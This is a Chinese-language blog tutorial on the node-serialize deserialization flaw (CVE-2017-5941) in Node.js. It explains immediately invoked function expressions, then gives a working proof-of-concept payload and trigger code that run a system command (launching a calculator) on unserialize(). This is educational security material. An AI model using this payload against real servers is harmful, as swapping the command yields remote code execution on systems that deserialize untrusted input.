目录

  1. 1. 前言
  2. 2. 序列化
  3. 3. IIFE
  4. 4. 反序列化触发RCE(CVE-2017-5941)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

serialize模块反序列化漏洞

2023/11/18 Web Nodejs 反序列化
  |     |   总文章阅读量:

前言

Node.js在node-serialize模块中存在反序列化漏洞,若unserialize()函数参数外部可控,则通过IIFE(Immediately Invoked Function Expression)可以实现RCE

参考:http://www.mi1k7ea.com/2020/03/29/node-serialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

安装

npm install node-serialize

序列化

var y = {
	function(){
		require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
	}
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

得到序列化的字符串{"rce":"_$$ND_FUNC$$_function(){\r\n require('child_process').exec('calc', function(error, stdout, stderr) { console.log(stdout) });\r\n }"}


IIFE

前面得到了序列化的字符串之后,就可以用unserialize()函数进行反序列化了,但是要实现代码执行的话,还要用到js的IIFE

IIFE(Immediately Invoked Function Expression)立即调用的函数表达式,即声明函数的同时立即调用该函数,目的是为了隔离作用域,防止污染全局命名空间。

写法:

(function(){ /* code */ }());
(function(){ /* code */ })();

注:有时,我们需要在定义函数之后,立即调用该函数。此时,你不能再函数的定义之后加上圆括号,这是因为会产生语法错误,错误原因是function这个关键字既可以当作语句,也可以当作表达式。为了避免其余,规定function关键字出现在行首时,解释为语句。因此,若是以function开头的代码则必须像前面一样的写法才能成功在定义时被当作表达式执行。

弹计算器:

(function() {
	require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
}());
// 或
(function() {
	require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
})();

结合前面的序列化字符串,要想在序列化时直接执行该函数,可以将代码修改如下:

var y = {
	poc : function(){
		require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
	}()
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

反序列化触发RCE(CVE-2017-5941)

前面序列化得到的字符串

{"rce":"_$$ND_FUNC$$_function(){\r\n    require('child_process').exec('calc', function(error, stdout, stderr) { console.log(stdout) });\r\n    }"}

在此基础上,为了在服务端进行反序列化操作的时候能触发RCE,我们直接在函数定义的后面追加()来构造即可

{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()"}

而反序列化代码如下:

var s = require('node-serialize');

var payload = '{"function":"_$$ND_FUNC$$_function(){\\r\\n\\t\\trequire(\'child_process\').exec(\'calc\', function(error, stdout, stderr){ console.log(stdout) });\\r\\n\\t}()"}'

s.unserialize(payload);

然后就能弹出计算器了